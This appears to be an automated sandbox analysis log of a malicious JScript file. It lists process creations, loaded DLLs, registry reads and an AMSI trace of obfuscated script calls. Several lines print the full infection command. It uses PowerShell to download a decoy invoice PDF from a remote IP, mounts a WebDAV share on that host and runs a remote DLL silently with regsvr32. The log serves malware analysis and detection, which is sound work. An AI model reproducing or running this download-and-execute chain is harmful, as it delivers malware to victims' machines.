Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\72382724245064961.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,1784750891240737893,1618069011542900297,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\145574010200.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1620,i,1784750891240737893,1618069011542900297,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\936.js.csv");ITextStream.WriteLine(" entry:8084 f:uvpvhrfbs");ITextStream.WriteLine(" exec:2 f:uvpvhrfbs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
